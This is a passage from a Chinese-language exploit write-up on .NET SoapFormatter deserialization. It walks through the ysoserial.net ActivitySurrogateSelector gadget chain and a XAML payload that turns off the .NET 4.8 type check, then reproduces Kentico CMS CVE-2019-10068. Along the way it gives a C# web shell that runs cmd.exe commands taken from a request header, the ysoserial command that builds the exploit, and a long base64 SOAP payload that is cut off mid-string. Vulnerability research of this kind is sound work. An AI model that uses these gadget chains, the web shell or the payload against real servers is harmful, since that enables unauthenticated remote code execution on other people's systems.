using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserialization
{
class NonSerializable
{
private string _text;
public NonSerializable(string text)
{
_text = text;
}
public override string ToString()
{
return _text;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}
NonSerializable仍然没有标记Serializable，但是在获取代理器的时候返回了一个ActivitySurrogateSelector+ObjectSurrogate的实例，使得NonSerializable类仍旧可以被序列化。并且fmt2并没有指定代理选择器的前提下，仍然可以正常反序列化对象，这样就解决了上文的限制。
使用dnspy跟进序列化的过程:
在System.Runtime.Serialization.Formatters.Soap.WriteObjectInfo.InitSerialize()获取到ActivitySurrogateSelector+ObjectSurrogate代理器，用代理器进行序列化和反序列化。查看[微软开源的代码](https://github.com/Microsoft/referencesource/blob/4fe4349175f4c5091d972a7e56ea12012f1e7170/System.Workflow.ComponentModel/AuthoringOM/Serializer/ActivitySurrogateSelector.cs#L135)可见：
同样实现GetObjectData和SetObjectData，在GetObjectData调用SetType设置类型为其子类ObjectSerializedRef
该子类可以序列化，也就是说，上文中ObjectSurrogate.GetObjectData()将原本不可被序列化的对象存储到ObjectSerializedRef这个可以被序列化的类实例中，由此实现序列化原本不可序列化的类。
那么到现在我们的视线就不必局限于可序列化的类了，原作者的眼光就转向了LINQ。LINQ是C#中的语言集成查询语法，像这样：
public static void Main(string[] args)
{
var word = "hello from linq.";
var words = word.Split(' ');
var q1 = from s in words
where s.ToLower().Contains('o')
select s;
Console.WriteLine(q1);
foreach (var item in q1)
{
Console.WriteLine(item);
}
Console.ReadKey();
}
输出
System.Linq.Enumerable+WhereArrayIterator`1[System.String]
hello
from
其中
var q1 = from s in words
where s.ToLower().Contains('o')
select s;
用方法调用的形式可以表现为
words.Where(s => s.ToLower().Contains('o')).Select(s=>s)
其中方法调用的形式叫做标准查询操作符，其定义如下：
以`public static IEnumerable<TSource> Where<TSource>(this IEnumerable<TSource>
source, Func<TSource, bool>
predicate)`为例，第一个参数source是传入的集合即words，第二个参数predicate是`Func<TSource,
bool>`类型的委托，用于对集合进行处理，并返回处理后的结果集合TSource。
在Where()和Select()两层处理的时候实际上是进行了两次委托处理，`s =>
s.ToLower().Contains('o')`和`s=>s`，传入的集合(参数)和传出的集合(结果)在Where()和Select()之间传递。
了解了这些之后我们还要了解一点，LINQ是延迟执行的。
var q1 = from s in words
where s.ToLower().Contains('o')
select s;
这种定义只是声明了委托实例而已，并没有执行查询，只有select的时候才会从进行处理。
现在了解了LINQ和ActivitySurrogateSelector+ObjectSurrogate选择代理器之后，我们继续思考，在java中RMI的应用会在构造函数中执行Runtime.exec()，加载类之后会执行恶意命令。在C#中同理，如果我们可以加载自己的程序集，那么在new实例的时候触发构造函数同样会执行恶意代码。
如果我们替换了LINQ中的委托，通过替换委托来加载程序集并创建实例，那么触发LINQ之后就会执行恶意代码。由此思路，原作者设计了一条链
一步一步看，第一步代码实现如下
将e.dll通过Assembly.Load加载进来，Select()方法的委托传入`IEnumerable<byte[]>`数组传出`IEnumerable<Assembly>`
第二步，Assembly.GetTypes返回Type[]数组，并且没有输入参数，我们可以用`Delegate.CreateDelegate`创建一个委托
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
类型为`Func<Assembly, IEnumerable<Type>>`，而`public virtual Type[]
GetTypes()`的签名返回的也是`Type[]`，然后配合SelectMany()拿到Assembly.GetTypes()。
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
最后Activator.CreateInstance创建实例就完成了整个LINQ的链。但是到这里LINQ并不会自动执行，因为我们上文提到了LINQ的延时执行特点，那么如何让LINQ自动枚举触发Assembly.Load，原作者的思路是找到一个反序列化时触发ToString()的，然后从ToString()到IEnumerable。
找到的链条如下：
IEnumerable -> PagedDataSource -> ICollection
ICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString
上文中的e3对象是一个`IEnumerable<Object>`类型，在PagedDataSource中DataSource对应。
而PagedDataSource实现了ICollection接口，然后将其转为IDictionary类型，找到AggregateDictionary
转为IDictionary类型之后又找到DesignerVerb类
他的this.Properties是MenuCommand类的Properties属性，类型为IDictionary。将它的Properties设置为AggregateDictionary对象，在ToString的时候就会触发LINQ。构造代码如下
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
verb = new DesignerVerb("", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
现在怎么触发ToString就是最后一步了。原作者利用的是Hashtable。在对Hashtable类进行反序列化期间，它将重建其密钥集，
如果两个键相等，则反序列化将失败，并且Hashtable会引发异常，从而导致运行[以下代码](https://github.com/Microsoft/referencesource/blob/4fe4349175f4c5091d972a7e56ea12012f1e7170/mscorlib/system/collections/hashtable.cs#L959)：
// The current bucket is in use
// OR
// it is available, but has had the collision bit set and we have already found an available bucket
if (((buckets[bucketNumber].hash_coll & 0x7FFFFFFF) == hashcode) &&
KeyEquals (buckets[bucketNumber].key, key)) {
if (add) {
throw new ArgumentException(Environment.GetResourceString("Argument_AddingDuplicate__", buckets[bucketNumber].key, key));
}
而在GetResourceString中
String.Format将value直接当作字符串返回，那么values会进行ToString()。构造代码
ht = new Hashtable();
ht.Add(verb, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
反射修改buckets字段的key值，将key是string的替换为verb，由此两个key相同，hash相同报错，然后触发ToString()。但是hashtable重建的时候报错那么利用的时候就会报500错误，ysoserial用`System.Windows.Forms.AxHost.State`解决了这个问题。
在ysoserial.net中，对象序列化的时候GetObjectData设置了一个type
将PropertyBagBinary字段设置为BinaryFormatter序列化之后的payload
查看其序列化函数，发现`this.propBag.Read(new MemoryStream(array2))`
相当于将PropertyBagBinary字段的byte直接反序列化，不同的是加了try catch，这样在我们利用的时候不会报错。
整个链条到这里就通了。捋一下
1. 从ActivitySurrogateSelector+ObjectSurrogate序列化一些原本不能被序列化的类，瞄准了LINQ
2. LINQ替换其委托为Assembly.Load加载自己的恶意代码并创建实例
3. 通过IEnumerable -> PagedDataSource -> ICollectionICollection -> AggregateDictionary -> IDictionary -> DesignerVerb -> ToString
4. 通过HashTable键值重复触发报错进入ToString
5. 然后用`System.Windows.Forms.AxHost.State`包装一下，try catch处理异常。
## AxHostState 攻击链
在上文中已经提到了`System.Windows.Forms.AxHost.State`的PropertyBagBinary字段会进行反序列化，ysoserial.net中将其用来解决ActivitySurrogateSelector报错的问题。
## ActivitySurrogateSelectorFromFile
这个其实也是ActivitySurrogateSelector利用链，只不过可以执行自己编写的程序集。下面的代码是接收参数并动态编译读取字节码存入自身assemblyBytes字段。
## ActivitySurrogateDisableTypeCheck
在dotnet4.8中，微软修复了对ActivitySurrogateSelector类的滥用，[代码在这里](https://github.com/microsoft/referencesource/blob/74eb1593e09a636270482f1c0525aabdccb1f364/System.Workflow.ComponentModel/AuthoringOM/Serializer/ActivitySurrogateSelector.cs#L123)
而国外有人研究了一下，发现可以用TextFormattingRunProperties关闭DisableActivitySurrogateSelectorTypeCheck类型检查，在上文中代码就有提到，表现为如下：
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
封装的payload如下
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
<ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
理解起来比较简单，就不解释了。
# Kentico CMS SOAP Deserialize RCE CVE-2019-10068
安装包下载：<https://download.kentico.com/Kentico_11_0.exe>
查看漏洞描述：
> An issue was discovered in Kentico before 12.0.15. Due to a failure to
> validate security headers, it was possible for a specially crafted request
> to the staging service to bypass the initial authentication and proceed to
> deserialize user-controlled .NET object input. This deserialization then led
> to unauthenticated remote code execution on the server where the Kentico
> instance was hosted.
在12.0.15之前可以绕过身份验证进行soap反序列化，在官网下个补丁看看<https://devnet.kentico.com/download/hotfixes>
。因为是11版本的
下两个补丁11.0.47和11.0.48，安装完之后把Hotfix110_48\DLLs\Net46文件夹用JustDecompile打开，搜一下soapformatter
可见在打了补丁的11.0.48中soapformatter直接进行了反序列化，但是用到了Binder。
看一下在11.0.47的补丁
直接将serializedStagingTaskData字符串进行反序列化，由此可见漏洞点就在这里。查看该类的引用
在SyncServer中找到了引用
标注了`MessageName="ProcessSynchronizationTaskData")`，搜索下ProcessSynchronizationTaskData，在SyncServerWse找到了调用。
参数为stagingTaskData，来复现下。
我们使用ActivitySurrogateSelectorFromFile链生成soap格式的payload，并且自定义加载的程序集。这里自己写一个从header中获取参数执行命令的代码。
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
生成命令
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "dlls\E.cs;System.Web.dll;System.dll"
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:AxHost_x002B_State id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Windows.Forms/System.Windows.Forms%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">
<PropertyBagBinary href="#ref-3"/>
</a1:AxHost_x002B_State>
<SOAP-ENC:Array id="ref-3" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwChmYJgAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAAAN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAAgAAAA4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAABIAAAAAgAFADAhAABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAAKB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HAAAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAAOAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAGACkAIgAGAFYANgAGAHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAhALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRAKYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8CCgAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAA8TW9kdWxlPgB0eGxkcXYyeC5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB0eGxkcXYyeABTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAACzmmG5nbFgRahenQcKFvJHAAi3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIpBCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAAB0AHgAbABkAHEAdgAyAHgALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAB0AHgAbABkAHEAdgAyAHgALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2t